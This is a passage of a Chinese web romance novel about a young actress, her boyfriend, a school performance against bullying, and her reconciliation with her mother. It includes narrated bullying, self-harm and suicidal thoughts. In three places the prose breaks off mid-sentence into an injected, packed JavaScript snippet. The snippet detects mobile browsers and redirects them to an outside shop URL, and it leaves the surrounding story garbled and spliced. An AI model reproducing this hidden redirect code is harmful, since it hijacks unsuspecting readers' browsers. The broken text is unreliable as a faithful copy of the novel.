酷飒少女、痞帅少年,这是校园恋爱里少有的组合,但他们只要同框,就有一种无形的张力,看着彼此的眼神,明明没那么深情,却能到拉丝的程度。 驰路的手从他的胸膛移到他的衣领,一把扯过他的衣领,一仰头,便撞上了他的唇。 她像个捕食到猎物的猎人,在他的唇上狠狠碾磨着,他想有下一步举动,都被她制止住,偏偏不让他进入自己的领地。 她不要再做那个被他拽入楼道间,被他强吻的女生。 她也要掌握主动权,占领高地。 谢劲舟想要探入她的舌尖,驰路快速松开他的衣领,往后退了一步,舔了舔红润的唇,得意地朝他笑:“谢劲舟,你听到了吗,你的心跳比我还快!” 谢劲舟从来不屈居于人下,但唯独对驰路没办法,拽起她的手,一把将她带到他怀里:“驰路,也就只有你敢对我这么放肆!” 敢放肆的一方,不过仗着另一方的偏爱,才有恃无恐。 谢劲舟还想对驰路做点什么,忽然听到连续不断的咳嗽声,是一种刻意的干咳。 驰路见有人来了,连忙从谢劲舟怀里离开,吓得心跳更快了。 这不会被人都录下来了吧? 如果录下来传到网上就完蛋了,两人不就实锤了吗! 她真不该如此掉以轻心! 面前的谢劲舟却镇定自若,仿佛什么都没发生。 驰路刚想抬头看是谁,听到传来浑厚的男声:“驰路、谢劲舟?” ??? 谁啊,怎么还知道他俩的名字? …… 驰路庆幸看到他俩在楼梯上演亲密吻戏的人是老马,她没想到能在这里遇到老马。 老马把两人请到了办公室寒暄,学生虽然放假了,但老师还有批阅试卷的重任,这不,连周末也过来加班。 老马看着面前的两人:“谢劲舟没啥变化,还染这颜色的头发啊。驰路啊,你变化很大。” “是吗?” “以前的你,看起来很乖,现在,气质完全变了。”老马说,“变……酷了。” 驰路不禁笑了,其实,她本来就酷,只不过之前上学时,刻意隐藏了原本的自己。 老马问:“你们怎么来这里了?” “有一个杂志拍摄,正好拍摄地在这里。” 老马感慨:“没想到啊,最后你俩在一起了。” 驰路问:“为什么没想到?” “谢劲舟这小子多浑,你多好,考了名校,还是家喻户晓的大明星。” “马老师,你的意思是……”谢劲舟眸子里闪过一丝锋利的光,“我配不上驰路?” 驰路知道谢劲舟自尊心重,连忙打圆场:“马老师不是这个意思,是觉得你虽然浑吧,但你在别的方面肯定很有本事,才追到我,是吧,马老师?” 马老师的本意不是如此,却象征性地点头。 “谢劲舟啊,浑是浑,不过是你走之前,你走之后啊,他的变化很大。”老马遥想过往,“当年复读,他是我见过的学生中最拼的,每天晚自习他走得最晚,有一次,我批阅卷子到晚上十一点半,看到教室里的灯还亮着,走过去看,教室里就他一个人,一问才知道,他每天都要在教室里待到十二点才回去,回去之后还要再刷题。” “那时,我真怕他的身体被拖垮,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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网络暴力蔓延到校园霸凌,同班同学远离她,走在路上被人砸石头、被人泼油漆,有一次差点被泼上强酸。 她租的房子门上全是醒目的、擦也擦不掉的恶毒话语:绑CP不要脸!贱/货一个,就知道勾引人上位!给你烧香!给你上坟…… 为此,驰路不得不搬了家。 元旦晚会那天,她在舞台上跳了这支舞,被传到网上,疯狂转发,也因此上了热搜【没有一片雪花是无辜的】。 因为这支舞,她的微/博粉丝在那段时间涨了二十四万。 她编那首舞时,内心充满对这世界的愤怒,从小学到初中、高中,就算她上了大学,依然摆脱不了校园霸凌,往事一幕幕重现,她是偌大人间踽踽独行的蝴蝶,被人一次次撕碎翅膀,没人在乎她疼不疼,旁观者继续撕扯她的另一只翅膀,连同身体都被撕碎,最后只剩下一颗支离破碎的心。 不管这颗心破碎了一百次、一千次,还是一万次,霸凌者只会看着你笑,笑你活该,笑这是你该有的报应。 而驰路能做的,只能一次次把破碎的心,一片一片地捡起来,在无人的夜里,将它慢慢拼凑,希冀能拼成原来的样子。 但又有谁知道,破碎的东西,都无法复原,何况受伤的心。 那些伤痕,如同火烙下的疤痕,一辈子都无法抹去。 它们就刻在她的血液里,连同岁月一起往前走。 这支舞蹈火了之后,不少知名综艺节目邀请她,点名让她跳这支舞,但都被她拒绝了。 那支舞,是她编的,也是她跳的,但跳的时候,不只是在表演,也是在演绎她的痛苦。 而她不想把自己一次次拖入深渊。 这也是鲜少有的,路女士答应她,推掉了那些节目邀请。 当老马提出这个建议时,驰路第一反应是抗拒:“马老师,明天就要演出了,现在去哪儿找人,练都来不及,别说演了。” 老马劝说:“这个你别担心,你那支舞啊,我们这里的每个班主任都给学生放过,每年都是迎接国庆的表演节目,放在这个时间段表演,主要是想让新生们知道,不能对任何同学进行校园霸凌,不要做旁观者,更不要做施暴者,大家要和睦相处。正好,之前表演中的同学有跳得好的,让她们配合你,你看可以吗?” 驰路犹豫了几秒,最后抿了抿唇,几乎像下了很大决心似的:“行,我参加。” …… 老马是个行动派,迅速将那十个同学召集过来。 驰路这天也没别的安排,跟那十个同学,在舞蹈教室里,连续排练了六个小时。 等排练结束,天已经黑透了,窗外亮起了路灯。 驰路让小苏提前回去了,舞蹈室的外面站着一个人,背靠着栏杆,懒懒散散地站着。 排练前,驰路便听到女生们纷纷议论:这个男生是谁啊?帅得很像我的男朋友,酷得很像我未来的老公。 胆子大的想要上前去搭讪,但见同伴们都被驰路喊进舞蹈室,不得不也跟过去。 排练休息间隙,驰路会看一看窗外,谢劲舟一直在,只是换了个站姿,但他一直背靠着栏杆。 在她排练时,会感到他好像一直在看着自己。 她给他发去信息。 【燕尾蝶】:舟哥,你就这么爱我,要一直看着我? 【Z】:没在看你,在看我女朋友。 【燕尾蝶】:…… 128. 跳反校园霸凌舞 「没有人会时时幸福,你也曾被岁月辜负。 谁都会被暴雨淋湿,也会向命运屈服。 但你从不认输,无人可以碾压你的傲骨。 小蝴蝶,你十八岁错过的火树银花,我会用一生,让它绽放。」 ——《小船靠岸》 驰路跟女生们说了些明天要彩排的时间、地点,说完喝了几口水,一抬头,便看到窗外壮观的画面:几个女生围住了谢劲舟。 她们像叽叽喳喳的雀,在问谢劲舟要联系方式。 这些女生是没看微博吗,是不知道他是她的绯闻男友吗? 驰路拿起一旁的校服外套,往外走,听到谢劲舟说:“联系方式就算了,因为我有女朋友了。” 有女生提出质疑:“骗人吧,有女朋友还在这里待六个小时啊!” “不会是……”女生们纷纷朝舞蹈室里看,看到走出舞蹈室的驰路。 “驰老师,我来帮你拎。”谢劲舟从驰路手上接过校服外套、包包。 “哇!”有女生认出了谢劲舟,“你是不是演《密林深处》的演员啊?” “是的,在里面演陆程真。”谢劲舟礼貌地回,跟女生们特意强调,“驰老师是我戏中的搭档,今天她的助理临时有事,我有幸当了一回驰老师的助理。” 女生们瞬间嗅到别样气息,“哇!”声此起彼伏,女生们脸上纷纷露出“你就演吧,我们什么都知道”的神色。 再没人跟谢劲舟要联系方式,而是挥手跟他们告别。 等她们都走后,驰路看见舞蹈室的灯没关,刚进去关,便被人从后面抱住,紧紧搂着她盈盈一握的腰肢,脑袋埋在她的颈窝里,呼吸灼热。 “谢劲舟,别靠我这么近,身上都是汗,脏死了。”断断续续跳了六个小时的舞,驰路的衣服几乎都湿透了,身上全浸了汗。 谢劲舟轻轻咬住驰路的耳廓,沿着耳廓往下吻,边吻边说:“驰宝,你怎样,老子都爱!” 你干净一时也好,你泥泞满身也罢,至死都爱! * 芳町三中的迎国庆晚会设在操场上,场地大,人也多,这次来看的不只有师生,还有家长,浩浩荡荡的人全都盘腿坐在草地上。 驰路来时,看到这一幕不禁有些紧张,还是第一次面对这么多人,又是在自己的母校,有种想好好表现却又近乡情怯的心情。 她戴着墨镜、鸭舌帽,全副武装地来到了第一排,也跟别人一样盘腿坐着,而她旁边,是陪她一起来的谢劲舟。 各位领导说了致辞后,节目正式开始,弘扬祖/国的歌曲、古筝弹奏、幽默小品……莘莘学子大展身手,开始了各类节目的演出。 驰路的节目安排在第四个,第三个节目开始没多久,驰路便起身去舞台后面候场。 谢劲舟陪着她,感到她的紧张,在黑暗中悄悄握住她的手,跟她说:“阿驰,深呼吸!不用去想演得好不好,就想着把自己的表演,当成送给学生们的礼物。” “嗯。”驰路深呼吸了几次,突突跳动的心恢复平静。 女生们也都过来了,谢劲舟迅速松开了她的手。 手心里还有谢劲舟的温度,带着他对自己的那份安慰,在第三个节目结束后,驰路带着十个女生,一起走向舞台。 舞台上的灯光全部熄灭,此刻一片漆黑,台下的学生有的在交头接耳地侃大山,有的在刷手机。 这时,舒缓的音乐响起,一个穿着衬衫、西装校服外套、百褶裙,剪着一刀切短发的女生从黑暗中走出来,灯光瞬间打在她身上。 她轻快地走在路上,嘴里哼着歌,脸上满是笑意。 灯光下的她,是那么好看、纯真、不谙世事。 “喂喂,别玩了,快看这个节目。”舞台下的学生推了推交头接耳的同学,“这女生没见过啊,是我们学校的吗,这么好看!” “我艹,她你都不认识啊,不是那个大明星,驰路!”同学说,“竟然请到了驰路!牛X!” 交头接耳的、刷手机的,纷纷抬头看向舞台,瞬间被舞台上的驰路吸引。 音乐声变得激烈,驰路站在光下,身体瑟瑟发抖,像筛子,舞台上的灯光全都亮起,她的面前走来十个女生,也都穿着校服,都扎着马尾辫,个个大摇大摆,拎起她的衣领,把她胸前的蝴蝶结一把扯掉,狠狠地甩到她脸上,照着她的脸狠狠扇了几巴掌,别的女生也加入到暴力队伍中,把她用力推倒,对倒地的她拳打脚踢。 等她站起来时,左脸颊的眼角下方、左边嘴角,左腿上全是血迹,尤其是左腿上的,长达十几厘米,伤口长,化得逼真,仿佛一条面目丑陋的蛇,盘踞在她洁白的腿上。 驰路融在十个女生中间,跟她们跳同一支舞,有着同样的动作,随着激烈的音乐舞动,动作铿锵。 画面忽然一转,驰路被十个女生团团围住,她倒在地上,从人群中伸出手,想要挣脱她们的包围,伸出的手,找不到出口,没人让路,都将她困在小小的包围圈里。 她被她们拽住了头发,有人往她身上泼了一罐黑色油漆,溅了她满身,脸上也被溅了些,那个刚出场的天真明媚少女不见影踪,变得狼狈不堪,像被人踩入泥淖。 原本只是微红的眼眶,此刻哗地一下,眼泪流下来,只克制地流了一行,泪水流过脸颊上的红色伤口,破碎得像要被人揉碎,却没有一个人在意她。 她的校服外套被人扯掉,甩到她脸上,十个女生有的指着她,有的双手环胸,用一种胜利者的姿态嘲笑她。 驰路蹲在地上,可怜又无助。 音乐越来越激越、昂扬,她们在舞台上继续舞动着。 驰路好不容易从包围圈里爬出来,像一只可怜虫,脸上的泪水被擦掉了,满眼蓄泪地看着舞台下方,眼睛里满是破碎感。 这时,坐在前排的学生才发现还有个细节,她的左手上也有斑斑血痕。 驰路用沾了血的手往前爬着,却被人拽住腿,往后拖拽着,拖到角落,继续被围观暴打。 打完,众人来到舞台中央,驰路被两个女生架到高高的桌上。 满脸血痕、满身伤痕的她,像破布娃娃,眼睛红得不像话,泪水却克制得没有落下。 后面的十个女生齐齐伸出手,推着她往前,哪怕她已站到了桌边,依然没有放过她,其中有人猛地推她。 她的身体从桌上直直地往下坠落,随之响起的还有“砰”的一声音效。 驰路的身体呈“大”字,以极其凄惨的姿势趴在地上,好看的西装校园外套上、腿上全是黑色油漆,也到处布满血痕。 她彻底成了校园霸凌的牺牲品。 此刻,驰路想起了千允,那个在她眼前坠落的少女。 每次她演到这一幕时,都觉得自己好像成为了千允。 那个无助到不得不坠落的女生。 每次,她都会在心里默默地说:千允,你在天堂,一定要平安无恙! 悲剧落幕,十个女生纷纷逃散,抬手互相指责对方。 好像谁都是无辜者,好像方才推驰路的那个人不是自己。 谁都不想给自己定罪,谁都想逃过法律的制裁。 大屏幕上最后落下的投影是: 雪崩时,没有一片雪花是无辜的。【注】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560845|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 携手抵制校园欺凌,共筑安全温馨校园。 演出落幕,参演者鞠躬,驰路刚想下去,主持人把话筒递给她,让她说几句。 “各位领导、各位同学、各位家长,晚上好。”驰路看向草坪,乌泱泱全是人,“我是驰路,希望通过这支舞,来展示校园霸凌给受害者带来的伤害。” “鲁迅先生说过,今日我等若冷眼旁观,他日祸临己身,则无人为我摇旗呐喊。我们不要做施暴者,也不要做旁观者。我们伸出援助的那只手,可能不只是能让对方不受伤,还能救对方一命。” “这世上有很多恶意,但我们不要做从众的怪兽,谁都不该是我们的猎物,我们手上不该持枪,而该给同伴送花。” “我们每个人都值得被善待,哪怕是不一样的荆棘玫瑰,也有活在太阳下的权利。” 原本悄无声息的操场,响起雷鸣般的掌声,甚至有热血方刚的少年站起来说:“驰路学姐,你跳得好棒!” 陆续有人从操场上站起来,后来连同家长都站起来鼓掌了,场面格外壮观。 驰路看着台下站起来的师生和家长,一丝丝感动袭上心头,眼眶不自觉发热,泪水没忍住,流了下来。 不只为感动而流,也为她没拽住的千允而流,为高一那年深陷校园霸凌的谢劲舟而流,也为那个小小的无助的被人欺负的小驰路而流。 …… 走下舞台,驰路一眼看到人群中耀眼的谢劲舟,他就站在离舞台最近的地方,她走入后台,没几步便走到她面前。 谢劲舟看到她脸上还残留着未擦干净的眼泪,想抬手帮她擦,但意识到在公众场合,抬起的手悬着:“这儿还有眼泪。” 驰路被他的举动逗笑,边擦边说:“怎么样,还行吗?” 驰路笑着,谢劲舟的心却是疼的,面前的她不光鲜亮丽,没有华丽的礼服,没有公主的水晶鞋,也没有精致的妆容,她的脸上、嘴角都有血迹,脸上还有黑色油漆,一刀切的头发有些乱,身上的衬衫上全是黑色的油漆。 她像来自地狱,凌乱不堪,又破碎不已。 原本眼睛下方的黑色烟圈,被重重的粉盖住,除了谢劲舟,谁都不知道,她半夜被噩梦惊醒,失眠到凌晨五点。 她神色惊恐,声音颤抖:“舟哥,我做噩梦了。” 谢劲舟把她搂在怀里,轻轻拍着她的背:“别怕,我在,我会一直陪着你。” 别人看的是一场精彩的演出,但对驰路来说,无疑是再次揭开她的伤疤,揭一次,疼一次。 驰路饰演的受害者身上发生的事,都曾发生在她身上,包括最后一幕,也是她亲身经历过的。 多少次午夜梦回,千允来到她的梦里,哭泣着说:“驰路,你怎么没抓住我?” 每次醒来,都被深深的愧疚、自责包裹,她是罪人,怪自己当初没能抓住千允。 谢劲舟恨不得此刻就将驰路抱在怀里,管她身上有没有油漆,管她会不会把油漆蹭到他衣服上,这些他都不在意。 他只在意,他的蝴蝶,开不开心。 谢劲舟悬着的手,最终落在驰路的脸颊上,细细擦着溅到她脸上的黑色油漆,边擦边说:“玫瑰长出了荆棘,蝴蝶生出了翅膀。” 这就是谢大词人说出的话?跟她的表演有什么关系? 直到两人坐到舞台下继续观看节目时,驰路收到了【Z】发给她的信息: 阿驰,你跳得很好,我好像看到了那个曾经受伤的小蝴蝶。 现在,玫瑰长出了荆棘,蝴蝶生出了翅膀,我会陪你越过重重山岗。 驰宝,我爱你! 129. 哭包小蝴蝶 「不被认可的爱,如断翅蝴蝶,飞不高的。 Z,你上辈子是魔法师吧,竟能搞定路女士。 是你给了我战靴,此后,只为你而战、为你搏击长空! 蝴蝶重回天空,是神明给的孤勇。」 ——《小蝴蝶的星光》 回到栾花巷32号,驰路收到路漫的信息,问她什么时候回去。 驰路靠在二楼的栏杆上,给路漫打电话:“妈,刚拍完戏,我想休息一个月,十月份不要给我安排活儿。” 路女士说:“阿驰,你不会要在芳町镇待一个月,跟谢劲舟一起?” “妈,这是我的私事,不用向你汇报吧?”驰路不想跟路漫提自己的情感一事,想从源头斩断两人吵架。 “行,休息一个月就休息一个月。”路漫沉吟片刻,“不过,我跟你说,公众场合,不要让人拍到你跟谢劲舟在一起。” “好。”驰路没想到路漫这么轻易就同意自己休息一个月,放在之前绝对不可能,“妈,你怎么突然对我好了?” “什么叫突然对你好?难道妈之前对你不好吗?”路漫说,“要谢就谢谢劲舟吧。阿驰,你说得对,你有权利选择你想过的人生。你喜欢谁,是你的自由,妈妈希望你幸福。” “这六年,你一直一个人,你谁都不爱,就连笑,都是假的。妈妈知道,我不是可以给你带来幸福的人,但谢劲舟可以。我想开了,不管对方是谢劲舟,还是王劲舟,只要可以给你带来幸福,妈妈就不反对。” “妈……”驰路的声音开始哽咽,这是路漫第一次希望她幸福。 路漫骂她时,她没哭,让她跟谢劲舟分开时,她也没哭,偏偏祝她幸福时,她哭了。 为什么路漫会突然想开了?驰路不得而知。她还记得在杀青宴宴会的那晚,她把谢劲舟单独叫出去,让他跟自己分开。这才回去几天,她怎么就改变了想法? “谢谢妈。”六年来,驰路第一次发自内心地表达谢意。 心里那团缠缠绕绕的线,此刻被解开,不只解开她跟谢劲舟不被看好的感情,也解开她跟路漫多年的结。 以后,只要路漫不给她排累死人的通告,她心甘情愿让她从自己身上捞金。 谢劲舟推开门,刚走到门边,想迈出去,便看到脸上挂满眼泪的驰路。 他走过去,驰路把电话挂了。 “谁打来的?”谢劲舟走过去,帮她擦眼泪,“怎么还哭了?谁惹你的?告诉我,我不会放过他!” 驰路抓住他的手,一把将他抱住:“舟哥,你给我妈使了什么魔法,她同意我们在一起了!”言语间满是激动。 谢劲舟吃了一惊,跟驰路拉开些距离,看着她泛红的眼眶,难以置信地问:“真的?” 前几天路漫找他时,想让他跟驰路分开的态度很坚决,怎么同意了?她想通了? 驰路用力地点头,跟他坦白:“舟哥,其实……杀青宴那晚,我妈喊你过去时,我偷偷跟了过去,你们说的,我都听到了。我在想,可能我妈是被你的坚决打动了吧,知道,六年前、六年后,甚至更久更久的以后,你对我的心意都不会变,所以,她就接受你了吧。” 谢劲舟刮了下她的鼻尖,吊儿郎当地戏谑道:“你还有跟踪人的习惯。” “舟哥,你说我去哪里演戏,你就去演戏的地方找我,这话只是说给我妈听听的吧?” 谢劲舟从口袋里拿出手机,翻出邮件,给驰路看。 驰路看到甲方地址,眉目间顿时染笑:“舟哥,这个项目在北京?” 谢劲舟点头。 “这就是你之前做的标书,中标了?”驰路看着中标通知邮件。 “嗯。”谢劲舟将驰路揽在怀里,“阿驰,以后你在哪里,我就去哪里找你。” * 路漫坐在别墅院子里的桌前,手里端着一杯红酒,出神地仰头望着天际,直到响起撞杯声才回神。 “你做得是对的。”李浦把红酒放到桌上,坐到她身旁。 “你都听到了?” “嗯。” “我知道,我一直都不是一个好妈妈。”路漫眼中蓄着泪,仰头憋了回去,“如果不是谢劲舟对驰路的爱那么坚定,如果不是你劝我,我现在还是那个阻止他们在一起的坏妈妈。” 当她跟李浦说出自己反对驰路跟谢劲舟在一起时,李浦说:“这六年,你看过驰路找过一个男朋友吗,网上那么多绯闻,有一个真的吗?别人不知道,难道你还不清楚。她这六年,过得不幸福,你应该看出来了吧。” “你知道什么是爱吗?爱是不管过了多少年,依然还想跟对方在一起。何况,你跟我说过,谢劲舟在下雨天救过驰路的命。上次驰路走光照,也是谢劲舟主动找你,希望你能帮忙做公关。如果不爱一个人,是不会做到这种分上。如果不爱一个人,驰路会在六年后,还跟谢劲舟在一起?” “路漫,我们在一起有六年了吧,刚开始,确实都很爱对方,后来呢?什么时候,爱就没有了。对你来说,爱是什么?仅仅是玩玩而已吗?如果要玩,我会跟你在一起六年吗?” 路漫说:“李浦,你如果爱我,会在这六年里换那么多女人吗?” 那晚,路漫第一次问出这样的话,这个话题,是两人之间的一层窗纱,谁都不去捅破,只要不揭开,好像就可以当做什么都没发生。 但彼此在这六年里都做了什么,谁都心知肚明。 人前是恩爱情侣,人后各玩各的,互不干扰。 李浦说是她先找的,路漫说是他先找的。好像彼此都没有错,彼此都无辜。 细说谁先找的,才发现不过误会一场。 路漫看起来自信洒脱,听到别人说李浦比她小15岁,又长得帅,这样的男人不靠谱时,她都会反驳:“靠不靠谱不是用年龄来衡量的,不也有很多年纪大的男人不靠谱,这得分人。” 话是这样说没错,但她一点不在意这样的说法吗?当然不是。当她在聚会上看到李浦身边走来一个又一个如花似玉的女人时,她自建的堡垒会一点点坍塌,直到有次深夜,她在酒吧里的舞池里,看到李浦跟一个性感女人接吻,堡垒彻底塌方。 后来,路漫开始故意在李浦面前跟别的男人暧昧,她要看看,李浦有没有什么反应,结果他只是一笑而过。 彼此都不太在意,那就各玩各的好了。 但路漫知道,这六年里,不管自己接触了多少个男人,她最爱的还是李浦,所以,才会一直在他身边。 那晚,李浦告诉路漫,酒吧里的那个女人,主动吻他的,后来被他推开了。但路漫光看到两人接吻就气得转身走了,没有看到李浦推开女人。 两人都喝了很多酒,袒露六年来从未袒露过的心声,才知彼此心意。 那是他们六年来最深刻的一次缠绵,不再是平日里为了索取而索取,而是要将彼此揉进身体里的情意绵绵。 路漫等来了那句等了六年的话:“漫漫,我爱你!” 《密林深处》杀青宴,李浦原本计划不去,但因两人感情破冰,便跟路漫一同前往。 李浦将路漫搂入怀中,安慰她:“漫漫,从现在开始,做一个好妈妈,还不晚。” 路漫没有告诉李浦,在驰路跟谢劲舟的感情中,她能妥协,她能想通,不仅仅因为谢劲舟对驰路坚定的爱、李浦的劝说,更因为谢劲舟给她发的那段视频。 视频一片黑漆漆的,像放在桌上,挡住了摄像头,只听到人声。 “舟哥,你知道,我有多希望我妈可以多关心关心我吗?” “这六年,我每年都会许三个愿望,其中一个就是希望我爸我妈可以关心关心我,哪怕只有一点点。你说,是不是我太贪心了,所以每次许愿,没有一次愿望可以成真。” “阿驰,许哪三个愿望?” “一、希望我爸我妈关心关心我;二、希望我能遇见谢劲舟;三、希望我上热搜是因为我的剧,而不是我的绯闻。” “阿驰,你妈是爱你的,要不然也不会六年了,一直做你的经纪人。” “爱我?如果爱我,会让我接累死人的通告吗?如果爱我,我的绯闻被对家买上热搜时,她怎么不管一管?如果爱我……会不同意我跟你在一起吗?” “上小学三年级,我妈就跟我说,以后让我一个人回去,说是要锻炼我的独立能力。放学路上,有高年级的同学欺负我时,我反抗,却不是他们的对手,常常被索要钱,或是被打。我不想让他们担心,回家前会把头发放下来,遮住脸,回到家,会低着头,不让他们看到。哪怕他们喊我吃饭,我也说不饿,不跟他们一起吃。只有他们走了,菜都凉了,我才去吃。” “每次看到别的同学都有父母来接时,我很羡慕,羡慕什么时候我爸或是我妈能接我一次,哪怕一次也好,但没有。” “我以为我妈说的让我一个人回去,是要锻炼我的独立能力。我就努力地想做得好,哪怕被人勒索、被人打,我也可以忍受。但我没想到,她在骗我。什么锻炼我的独立能力是假的!有好几次,我都看到她跟陌生的男人在一起,我躲在墙角偷偷地看,看她上了陌生男人的车,看到她被陌生男人搂着,看到他们牵手。” “你知道,这对于一个只有九岁的孩子意味着什么吗?我很震惊,也很害怕,我不知道要不要告诉爸爸。如果告诉了,他们吵架了,甚至离婚了,我该怎么办?我想要爸爸,也想要妈妈。所以,我把所有看到的,都藏在心底,谁都没说。” “我希望我能很快小学毕业,希望能快点长大,大到我有能力跟那帮人对抗。我是长高了,我以为我会是他们的对手,我朝那帮人挥拳,我朝那帮人踢腿,结果……最后趴下的那个人还是我。” “那时,我才知道,长大并不能解决暴力,也不能终止暴力,因为,一个人不是几个人的对手。” “他们变本加厉,而我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560846|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能一次次承受。” “对我来说,那是一段很黑暗的时光,没有人知道。我希望,有人能将我从拳打脚踢中救出来,哪怕一次也好,但没有。” “多的永远是旁观者。我看到他们脸上的漠然,听到他们的议论,甚至我听到有人说,你看,她都不还手,好懦弱。呵,是我不想还手吗?换他来试试看,被四五个人围殴到倒地能不能还手!” “就这样长大的我,觉得活着特没劲。好几次都会找一个最高的楼,站在最顶层,看着烟火通明的世界。天空满是繁星,眼前都是霓虹,却都跟我无关。我是世界的弃子,活在黑暗里。” “长得好看有什么用,成绩好又有什么用,还不照样被人欺负,爸妈还不照样不关心我,他们关心的始终是我考了多少分、排名是不是第一。” “我想,要不就跳下去吧,这样就不会有那么多烦恼和痛苦了,就可以一了百了了。后来,是你救了我,是你告诉我,不管你发生了什么,都会过去的。” “舟哥,你知道吗,那时,我多希望,救我的人,是我妈,这句话,是她说的。” “后来,我爸开酒店赚了钱,我到了新环境,因为不想再被人欺负,我故意迟到早退,故意跟一帮混混混在一起,故意穿得另类招摇,故意让自己变得叛逆。这样,就不会有人再欺负我了。果然,这招很奏效,而且,我混在他们中间,还学会了一点拳脚功夫。” “这样的我,被传到了我爸妈耳朵里,他们终于开始管我了,不是关心,而是骂,骂了我不听,我爸就打我,而我妈还在一旁骂我。那时候,我才知道,大人跟小孩没什么区别,都只是看表象,不去挖掘事情的本质。他们根本不去管我为什么变化那么大,他们只知道我变坏了,就该好好管教。” “千允那件事,是爆发点吧。没人相信我,千允不是我推下去的。就连我爸妈也不信,还觉得我疯了,把我关进精神病院。没有去过那家精神病院的人,不知道夜有多黑、雷雨天有多可怕。在那个小小的黑暗的禁闭室里,下着雷暴雨,我才深刻地体会到,什么叫不自由,什么叫恐惧,每经历一次,都像经历了一次劫难。我很希望,有人能带我走,离开那个鬼地方。但没有!我彻底被最亲的人遗弃,被这个世界遗弃。” “舟哥,你知道这世上最无情的事是什么吗?是……那么多黑暗的时刻,我妈一次都没关心过我。” “当然了,别提关心了,就连最基本的让我留在她身边,都是奢望。在她心里,我比不上她谈过的任何一任男人吧。我不过是她随时可以丢弃的累赘。” “舟哥,你说,我为什么会是路漫的女儿?我想过,如果换一个妈妈,我是不是就不会过得这么辛苦了。” “阿驰,说什么傻话,如果不是路漫,你也不会来到这个世界,也不会遇到我。” “舟哥,那我……就不换妈妈了,毕竟我曾在我妈妈的肚子里,汲取过她的养料,分享过她的心跳。我不奢求,她有多爱我,只希望她能同意我跟你在一起,这就是我想要的幸福。” 驰路说话时有点大舌头,似乎是喝醉了。视频最后,驰路说:“舟哥,你看,我妈妈年轻的时候,是不是很漂亮。哦,不,现在的她,也很漂亮。” “告诉你一个秘密哦,其实,我不讨厌路女士,我爱我妈妈。” “阿驰,你哭了吗?” “我哭?怎么可能?眼睛里进东西了。” 路漫把这个视频听了一遍又一遍,听到眼睛红肿、满脸泪水。 驰路的脐带曾连着她的身体,她们血脉相连,什么时候,她们越走越远? 她之前在网上看过一句话:神顾不了所有人,所以神创造了母亲。 二十四年来,她顾过多少次驰路? 驰路不会知道,初三那年,她在浴缸里,浑身泡在血水里快要昏迷时,她吓到不行,觉得世界都坍塌了。在驰路清醒前,她哪里都没去,一直守着她。 驰路不会知道,高二那年,她跟驰荣离婚,驰荣想要驰岸,也想要驰路,是她拼了命跟驰荣一次次沟通,才最终取得驰路的抚养权。 驰路不会知道,高三那年,她让她转到偏远的芳町镇,是因为这样,她就可以远离追债的,去一个全新的环境里,过全新的生活。 驰路不会知道,网上不论是出现夸她的声音,还是骂她的声音,她不让人去公关,不是不在意,而是曝光度对演员来说很重要。 驰路也不会知道,她给她接那么多通告,是她不知道娱乐圈竞争有多激烈,多增加曝光,才能稳住流量。 她从来不是一个称职的妈妈,也不是对演员呵护备至的经纪人,她没有办法完全平衡好她跟公司的利益,也没有能力一直陪在她身边,守护她。 那晚,路漫一夜无眠,在院子里喝了一晚的酒、抽了一晚的烟。 世界是巨大的火场,一遍遍地将她的躯体焚烧。 而她,找不到遗址。 130. 折腾我还不够吗? 「荒野岑寂,我拥有一身疯骨。 只想在你身上烙下痕迹。 硝烟四起,我只为你夺下军旗。」 ——《小船靠岸》 驰路在芳町三中迎国庆的表演,当晚便上了微博热搜,掀起一波拒绝校园霸凌的热潮,她三年前的舞蹈也被翻出来,大家觉得她这次跳得更好,一个动作,一个眼神,都透出受害者的惶恐、受惊、可怜。 驰路没想到同样的舞蹈,还会引起大家的讨论,完全在她的意料之外,关键还上了热搜第一。 路女士给她发信息,来联系她上综艺跳舞的越来越多,但都被她拒绝了。 驰路对于路漫这一百八十度的态度转变感到十分奇怪,给她发信息:妈,你什么时候变这么好了? 路漫:我之前不好吗? 驰路笑着发过去一条语音:谢谢妈,看到你在朋友圈发的照片了,你跟李总都要幸福! 一早,驰路刷朋友圈时,刷到了路漫发的,难得一次,没有发高档会所、国外沙滩、姐妹聚会,而是发了两只手,手上的食指都戴着戒指。配字:我们。后面附带三颗爱心。 他们和好了?算算,路女士也有六年没在朋友圈秀过恩爱了,发在朋友圈,跟李浦的同框照都是跟合作方一起的,从没发过两个人的。 每次发,大概都是一次例行公事吧。 也许,路女士心情好了,体会到爱情的甜蜜了,也就同意她跟谢劲舟在一起了? 驰路没有继续深想,不管原因是什么,她能同意自己跟谢劲舟在一起就行。 李浦只比驰路大几岁,驰路一开始叫他“喂”,后来叫他“李浦”,再后来叫他“李总”,唯独没有按照路漫的要求去叫。 因为,路漫让她叫李浦“爸”,他们都没有领结婚证,也没有法律上的名分,她凭什么叫李浦“爸”。 